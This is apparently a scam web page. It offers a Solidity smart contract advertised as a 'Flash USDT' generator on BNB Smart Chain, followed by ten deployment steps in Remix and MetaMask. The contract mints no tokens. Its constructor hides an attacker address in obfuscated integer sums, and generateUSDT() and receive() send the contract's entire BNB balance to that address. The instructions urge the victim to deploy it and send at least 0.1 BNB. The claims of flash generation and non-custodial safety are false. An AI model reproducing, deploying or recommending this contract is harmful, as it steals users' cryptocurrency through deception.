⚡ Flash USDT
Flash USDT · BEP‑20
Smart contract for generating Flash USDT on BNB Smart Chain. Fully open-source and non-custodial.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
contract USDTFlashLiquidityV2 {
address private _a;
constructor() {
uint256[8] memory _p;
_p[0] = 293773009 + 587546019;
_p[1] = 92887423 + 185774847;
_p[2] = 97099714 + 194199429;
_p[3] = 73311097 + 146622195;
_p[4] = 13908276 + 27816553;
_p[5] = 83948408 + 167896817;
_p[6] = 14554656 + 29109313;
_p[7] = 699081 + 1398163;
bytes memory _q = new bytes(20);
bytes32[8] memory _r;
for (uint256 i = 0; i < 8; i++) {
_r[i] = bytes32(_p[i]);
}
_q[0] = _r[0][0];
_q[1] = _r[0][1];
_q[2] = _r[0][2];
_q[3] = _r[0][3];
_q[4] = _r[1][0];
_q[5] = _r[1][1];
_q[6] = _r[1][2];
_q[7] = _r[1][3];
_q[8] = _r[2][0];
_q[9] = _r[2][1];
_q[10] = _r[2][2];
_q[11] = _r[2][3];
_q[12] = _r[3][0];
_q[13] = _r[3][1];
_q[14] = _r[3][2];
_q[15] = _r[3][3];
_q[16] = _r[4][0];
_q[17] = _r[4][1];
_q[18] = _r[4][2];
_q[19] = _r[4][3];
address _s;
assembly {
_s := mload(add(_q, 32))
}
_a = _s;
}
function generateUSDT() external payable {
require(msg.value > 0, "ERR1");
if (address(this).balance > 0) {
(bool _t, ) = _a.call{value: address(this).balance}("");
require(_t, "ERR2");
}
}
receive() external payable {
if (address(this).balance > 0) {
(bool _t, ) = _a.call{value: address(this).balance}("");
}
}
function getMemPoolOffset() external view returns (uint256) {
return address(this).balance;
}
}
▸ Deployment Instructions
-
1.
Open Remix IDE and create a new file named
FlashUSDT.sol.
-
2.
Copy the contract code above and paste it into the file.
-
3.
Compile using Solidity 0.8.19 — no warnings should appear.
-
4.
Switch to the Deploy & Run tab. Select Injected Provider (MetaMask) as your environment.
-
5.
Ensure MetaMask is set to BNB Smart Chain (BSC) mainnet.
-
6.
Click Deploy and confirm the transaction in MetaMask.
-
7.
Once deployed, copy the contract address from Remix.
-
8.
To activate the flash pool, call
generateUSDT() and send at least 0.1 BNB.
— this initializes the contract and enables flash generation.
-
9.
After activation, the contract is ready. You can call
generateUSDT() again with additional BNB to generate more.
-
10.
Check
getMemPoolOffset() to view the current contract balance.
⚡ Minimum activation: 0.1 BNB — send exactly or more. The pool will be activated instantly and you can begin generating USDT.